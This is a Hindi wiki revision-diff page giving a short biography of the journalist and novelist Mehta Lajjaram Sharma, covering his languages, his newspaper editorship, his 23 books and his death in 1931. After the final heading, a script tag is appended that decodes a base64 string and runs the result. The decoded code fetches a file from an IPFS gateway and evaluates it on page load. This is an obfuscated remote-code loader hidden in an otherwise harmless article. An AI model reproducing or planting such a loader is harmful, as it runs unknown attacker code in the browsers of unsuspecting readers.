मेहता लज्जाराम शर्मा: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('{{सूचना बक्सा साहित्यकार |चित्र=Blankimage.png |चित्र का नाम=...' के साथ नया पृष्ठ बनाया)
 
No edit summary
 
(One intermediate revision by the same user not shown)
Line 16: Line 16:
|मुख्य रचनाएँ=
|मुख्य रचनाएँ=
|विषय=  
|विषय=  
|भाषा= गुजराती, [[संस्कृत]], मराठी और [[अंग्रेज़ी]]
|भाषा= [[हिन्दी]], [[गुजराती भाषा|गुजराती]], [[संस्कृत]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी]]
|विद्यालय=
|विद्यालय=
|शिक्षा=
|शिक्षा=
Line 32: Line 32:
|अद्यतन=
|अद्यतन=
}}
}}
'''मेहता लज्जाराम शर्मा''' ([[अंग्रेज़ी]]: जन्म- [[1863]]; मृत्यु- [[29 जून]], [[1931]]) हिंदी भाषा के पत्रकार एवं साहित्यकार थे। उन्होंने 23 ग्रंथों की रचना की, जिनमें से 13 [[उपन्यास]] हैं।
'''मेहता लज्जाराम शर्मा''' ([[अंग्रेज़ी]]: जन्म- [[1863]]; मृत्यु- [[29 जून]], [[1931]]) [[हिंदी भाषा]] के पत्रकार एवं साहित्यकार थे। उन्होंने 23 ग्रंथों की रचना की, जिनमें से 13 [[उपन्यास]] हैं। पाठकों की दृष्टि में वह एक उपन्यासकार के रूप में प्रसिद्ध थे।
==परिचय==
==परिचय==
मातृभाषा गुजराती होने पर भी जीवन भर हिंदी की सेवा को समर्पित मेहता लज्जाराम शर्मा का जन्म [[1863]] ई. में हुआ था। उन्होंने अपनी आत्मकथा में कहा है कि 'मैं 9 महीने के स्थान पर 18 महीने अपनी माता के गर्भ में रहा हूँ और जीवन भर के लिए रोगों को साथ लेकर पैदा हुआ हूँ।' उन्होंने घर पर ही शिक्षा प्राप्त करके गुजराती, [[संस्कृत]], मराठी और [[अंग्रेज़ी]] में निपुणता प्राप्त की।  
मातृभाषा [[गुजराती भाषा|गुजराती]] होने पर भी जीवन भर हिंदी की सेवा को समर्पित मेहता लज्जाराम शर्मा का जन्म [[1863]] ई. में हुआ था। उन्होंने अपनी आत्मकथा में कहा है कि 'मैं 9 महीने के स्थान पर 18 महीने अपनी माता के गर्भ में रहा हूँ और जीवन भर के लिए रोगों को साथ लेकर पैदा हुआ हूँ।' उन्होंने घर पर ही शिक्षा प्राप्त करके गुजराती, [[संस्कृत]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी]] में निपुणता प्राप्त की।<ref name="e">{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=655|url=}}</ref>
==पत्रकारिता==
==पत्रकारिता==
कुछ दिन अध्यापक रहने के बाद ‘सर्वहित’ नामक पत्र निकालकर वे हिन्दी पत्रकारिता के क्षेत्र में प्रविष्ट हुए। फिर [[मुम्बई]] के ‘वैंकटेश्वर समाचार’ में गए और सम्पादक बन गए।
कुछ दिन अध्यापक रहने के बाद ‘सर्वहित’ नामक पत्र निकालकर वे हिन्दी पत्रकारिता के क्षेत्र में प्रविष्ट हुए। फिर [[मुम्बई]] के ‘वैंकटेश्वर समाचार’ में गए और सम्पादक बन गए। मेहता जी के सम्पादकत्व में ‘वैंकटेश्वर समाचार’ पत्र की प्रतिष्ठा में बड़ी वृद्धि हुई। मराठी और गुजराती के पत्र इसकी रचानाओं का अनुवाद अपने पत्रों में प्रकाशित करते थे।  
मेहता जी के सम्पादकत्व में ‘वैंकटेश्वर समाचार’ पत्र की प्रतिष्ठा में बड़ी वृद्धि हुई। मराठी और गुजराती के पत्र इसकी रचानाओं का अनुवाद अपने पत्रों में प्रकाशित करते थे।  
==साहित्यिक परिचय==
==साहित्यिक परिचय==
मेहता लज्जाराम तत्कालीन [[हिन्दी]] साहित्य के महत्वपूर्ण स्तंभ थे। उन्होंने हिन्दी के उन्नयन के लिए अथक परिश्रम किया था। उन्होंने उस समय काम किया, जिस समय हिन्दी के लेखक ऐय्यारी और जासूसी उपन्यास लिखने में व्यस्त थे। लज्जाराम मेहता ने हिन्दी को न केवल लोकप्रिय बनाया बल्कि उसमें मध्यम वर्ग की समस्याओं का चित्रण भी किया। वह एक प्रखर पत्रकार और इतिहासकार भी थे। [[बूंदी]] में निवास करते हुए उन्होंने वहां के इतिहास लेखन का भी महत्त्वपूर्ण कार्य किया। लज्जाराम मेहता के उपन्यास मौलिक थे और मानव जीवन के चित्र सामने रखते थे।
मेहता लज्जाराम तत्कालीन [[हिन्दी]] साहित्य के महत्वपूर्ण स्तंभ थे। उन्होंने हिन्दी के उन्नयन के लिए अथक परिश्रम किया था। उन्होंने उस समय काम किया, जिस समय हिन्दी के लेखक ऐय्यारी और जासूसी उपन्यास लिखने में व्यस्त थे। लज्जाराम मेहता ने हिन्दी को न केवल लोकप्रिय बनाया बल्कि उसमें मध्यम वर्ग की समस्याओं का चित्रण भी किया। वह एक प्रखर पत्रकार और इतिहासकार भी थे। [[बूंदी]] में निवास करते हुए उन्होंने वहां के इतिहास लेखन का भी महत्त्वपूर्ण कार्य किया। लज्जाराम मेहता के उपन्यास मौलिक थे और मानव जीवन के चित्र सामने रखते थे।
Line 43: Line 42:
मेहता लज्जाराम शर्मा ने अनेक साहित्यिक आंदोलन भी चलाए। 7 वर्ष तक पत्र का संपादन करने के बाद मेहता जी बूंदी चले गए। हिंदी सेवा का क्रम चलता रहा। उन्होंने 23 ग्रंथों की रचना की, जिसमें 13 उपन्यास और अन्य [[कहानी]], जीवनचरित्र आदि हैं।
मेहता लज्जाराम शर्मा ने अनेक साहित्यिक आंदोलन भी चलाए। 7 वर्ष तक पत्र का संपादन करने के बाद मेहता जी बूंदी चले गए। हिंदी सेवा का क्रम चलता रहा। उन्होंने 23 ग्रंथों की रचना की, जिसमें 13 उपन्यास और अन्य [[कहानी]], जीवनचरित्र आदि हैं।
==निधन==
==निधन==
मेहता लज्जाराम का हिंदी साहित्य की सेवा करते करते [[29 जून]], [[1931]] को देहांत हो गया।
मेहता लज्जाराम का हिंदी साहित्य की सेवा करते करते [[29 जून]], [[1931]] को देहांत हो गया।<ref name="e"/>




Line 51: Line 50:
==सम्बंधित लेख==
==सम्बंधित लेख==
{{पत्रकार}}{{साहित्यकार}}
{{पत्रकार}}{{साहित्यकार}}
[[Category:साहित्यकार]] [[Category:पत्रकार]][[Category:जीवनी]] [[Category:चरित कोश]]
[[Category:साहित्यकार]] [[Category:पत्रकार]][[Category:जीवनी साहित्य]][[Category:उपन्यासकार]][[Category:चरित कोश]]
__INDEX__
__INDEX__

Latest revision as of 11:01, 2 August 2017

मेहता लज्जाराम शर्मा
पूरा नाम मेहता लज्जाराम शर्मा
जन्म 1863
मृत्यु 29 जून, 1931
कर्म भूमि भारत
कर्म-क्षेत्र साहित्यकार, सम्पादक
भाषा हिन्दी, गुजराती, संस्कृत, मराठी और अंग्रेज़ी
प्रसिद्धि उपन्यासकार
नागरिकता भारतीय
अन्य जानकारी लज्जाराम मेहता ने हिन्दी को न केवल लोकप्रिय बनाया बल्कि उसमें मध्यम वर्ग की समस्याओं का चित्रण भी किया
इन्हें भी देखें कवि सूची, साहित्यकार सूची

मेहता लज्जाराम शर्मा (अंग्रेज़ी: जन्म- 1863; मृत्यु- 29 जून, 1931) हिंदी भाषा के पत्रकार एवं साहित्यकार थे। उन्होंने 23 ग्रंथों की रचना की, जिनमें से 13 उपन्यास हैं। पाठकों की दृष्टि में वह एक उपन्यासकार के रूप में प्रसिद्ध थे।

परिचय

मातृभाषा गुजराती होने पर भी जीवन भर हिंदी की सेवा को समर्पित मेहता लज्जाराम शर्मा का जन्म 1863 ई. में हुआ था। उन्होंने अपनी आत्मकथा में कहा है कि 'मैं 9 महीने के स्थान पर 18 महीने अपनी माता के गर्भ में रहा हूँ और जीवन भर के लिए रोगों को साथ लेकर पैदा हुआ हूँ।' उन्होंने घर पर ही शिक्षा प्राप्त करके गुजराती, संस्कृत, मराठी और अंग्रेज़ी में निपुणता प्राप्त की।[1]

पत्रकारिता

कुछ दिन अध्यापक रहने के बाद ‘सर्वहित’ नामक पत्र निकालकर वे हिन्दी पत्रकारिता के क्षेत्र में प्रविष्ट हुए। फिर मुम्बई के ‘वैंकटेश्वर समाचार’ में गए और सम्पादक बन गए। मेहता जी के सम्पादकत्व में ‘वैंकटेश्वर समाचार’ पत्र की प्रतिष्ठा में बड़ी वृद्धि हुई। मराठी और गुजराती के पत्र इसकी रचानाओं का अनुवाद अपने पत्रों में प्रकाशित करते थे।

साहित्यिक परिचय

मेहता लज्जाराम तत्कालीन हिन्दी साहित्य के महत्वपूर्ण स्तंभ थे। उन्होंने हिन्दी के उन्नयन के लिए अथक परिश्रम किया था। उन्होंने उस समय काम किया, जिस समय हिन्दी के लेखक ऐय्यारी और जासूसी उपन्यास लिखने में व्यस्त थे। लज्जाराम मेहता ने हिन्दी को न केवल लोकप्रिय बनाया बल्कि उसमें मध्यम वर्ग की समस्याओं का चित्रण भी किया। वह एक प्रखर पत्रकार और इतिहासकार भी थे। बूंदी में निवास करते हुए उन्होंने वहां के इतिहास लेखन का भी महत्त्वपूर्ण कार्य किया। लज्जाराम मेहता के उपन्यास मौलिक थे और मानव जीवन के चित्र सामने रखते थे।

मेहता लज्जाराम शर्मा ने अनेक साहित्यिक आंदोलन भी चलाए। 7 वर्ष तक पत्र का संपादन करने के बाद मेहता जी बूंदी चले गए। हिंदी सेवा का क्रम चलता रहा। उन्होंने 23 ग्रंथों की रचना की, जिसमें 13 उपन्यास और अन्य कहानी, जीवनचरित्र आदि हैं।

निधन

मेहता लज्जाराम का हिंदी साहित्य की सेवा करते करते 29 जून, 1931 को देहांत हो गया।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका और टिपण्णी

  1. 1.0 1.1 भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 655 |

सम्बंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>